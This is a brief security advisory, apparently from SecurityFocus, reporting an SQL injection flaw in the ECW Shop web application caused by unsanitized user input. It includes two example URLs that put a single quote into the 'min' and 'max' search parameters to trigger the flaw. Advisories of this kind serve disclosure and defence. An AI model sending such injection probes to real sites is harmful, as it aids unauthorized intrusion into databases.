source: https://www.securityfocus.com/bid/14576/info

ECW Shop is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

The consequences of this attack may vary depending on the type of queries that can be influenced, and the implementation of the database. 

http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c3
6d90d8e9&key=1&comp=1&min='&max=1
http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c3
6d90d8e9&key=1&comp=1&min=1&max='